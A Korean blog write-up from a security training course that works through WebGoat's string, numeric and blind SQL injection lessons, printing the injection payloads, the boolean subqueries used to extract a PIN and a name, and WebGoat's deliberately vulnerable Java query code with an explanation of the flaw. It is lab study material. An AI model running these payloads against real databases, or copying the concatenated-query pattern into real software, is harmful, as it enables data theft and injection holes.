Tiny Bunny

Rookies/애플리케이션 보안

[SK shieldus Rookies 19기] WebGoat - String / Numeric / Blind sql injection

bento 2024. 3. 24. 20:32
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

01. String sql injection

이름을 입력하면 해당 사용자의 정보를 출력

 

모든 사용자의 정보를 출력해보자

 

Smith' or 'a' = 'a

 

SELECT * FROM user_data WHERE last_name = 'Smith' or 'a' = 'a'

→ 항상 참이 되는 조건을 추가

외부 입력 값을 검증하지 않고 쿼리를 만드는데 바로 사용하여 취약점 발생

 

02. Numeric sql injection

선택한 지역의 정보를 출력

 

모든 지역의 정보를 출력해보자

 

개발자 도구 활용

 

 Proxy 활용

 

클라이언트 사이드에 적용된 보안 기능은 서버 사이드에도 동일하게 혹은 더 이상으로 적용해야 함 

 

03. Blind Numeric sql injection

계좌 번호가 유효한 지 여부를 나타냄

 

없으면 invalid

 

pins 테이블에서 cc_number가 1111222233334444인 pin을 찾아보자

 select pin from pins where cc_number = '1111222233334444' 를 하고 싶음

 

기존 참인 쿼리 뒤에 알고 싶은 쿼리를 넣어서 확인하는 방식으로 진행 → pin 값이 α보다 작은지 아닌지 판단하는 형식

select * from accounts where account_number= 101 and (select pin from pins where cc_number='1111222233334444') > 5000

 

이렇게 진행해보면.. 

invalid를 확인하면서 범위 값을 줄여보면

 

2364

 

04. Blind String sql injection

계좌 번호가 유효한 지 여부를 나타냄

 

pins 테이블에서 cc_number 컬럼의 값이 4321432143214321와 일치하는 name 컬럼의 값을 찾아보자

아까랑 똑같지만 문자열 데이터

→  select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = '?????'

 

한 글자씩 가져와서 비교

→ select * from accounts where account_number = 101 and (select substr(name, 1, 1) from pins where cc_number = '4321432143214321') = '?'

다음은 substr(name, 2, 1)

 

범위 연산으로 비교하기 위해 아스키 코드로 변환

select * from accounts where account_number = 101 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 46

 

비교하다보면..

101 and (select name from pins where cc_number = '4321432143214321') = 'Jill'

 

05. 취약한 코드 분석

 

BlindStringSqlInjection.java

protected Element createContent(WebSession s)
    {
	ElementContainer ec = new ElementContainer();

	try
	{
	    Connection connection = DatabaseUtilities.getConnection(s);

	    ec.addElement(new P().addElement("Enter your Account Number: "));

	    String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
	    Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
	    ec.addElement(input);

	    Element b = ECSFactory.makeButton("Go!");
	    ec.addElement(b);

	    String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
	    String answer_query;
//	    if (runningOnWindows())
//	    {
//		answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
//			+ TARGET_CC_NUM;
//	    } else
//	    {
		answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'";
//	    }

	    try
	    {
		Statement answer_statement = connection.createStatement(
			ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
		ResultSet answer_results = answer_statement.executeQuery(answer_query);
		answer_results.first();
		System.out.println("Account: " + accountNumber );
		System.out.println("Answer : " + answer_results.getString(1));
		if (accountNumber.toString().equals(answer_results.getString(1)))
		{
		    makeSuccess(s);
		} else
		{

		    Statement statement = connection.createStatement(
			    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
		    ResultSet results = statement.executeQuery(query);

		    if ((results != null) && (results.first() == true))
		    {
			ec.addElement(new P().addElement("Account number is valid"));
		    } else
		    {
			ec.addElement(new P().addElement("Invalid account number"));
		    }
		}
	    }
	    catch (SQLException sqle)
	    {
		ec.addElement(new P().addElement("An error occurred, please try again."));
		
		// comment out two lines below
		ec.addElement(new P().addElement(sqle.getMessage()));
		sqle.printStackTrace();
	    
	    }
	}
	catch (Exception e)
	{
	    s.setMessage("Error generating " + this.getClass().getName());
	    e.printStackTrace();
	}

	return (ec);
    }

 

 

 String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");

요청 파라미터 중 ACCT_NUM 파라미터의 값을 가져와서 반환 

만약 파라미터 또는 파라미터의 값이 없는 경우 101을 반환

 

 String query = "SELECT * FROM user_data WHERE userid = " + accountNumber

문자열 결합 방식으로 쿼리를 생성

 

즉, 외부 입력 값 검증 없이 가져와서 문자열 결합으로 쿼리를 만듦 = 외부 입력 값에 취약 = 인젝션

		    Statement statement = connection.createStatement(
			    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
		    ResultSet results = statement.executeQuery(query);

Statement 구문을 통해서 만들어진 쿼리를 그대로 실행

 

 

 

728x90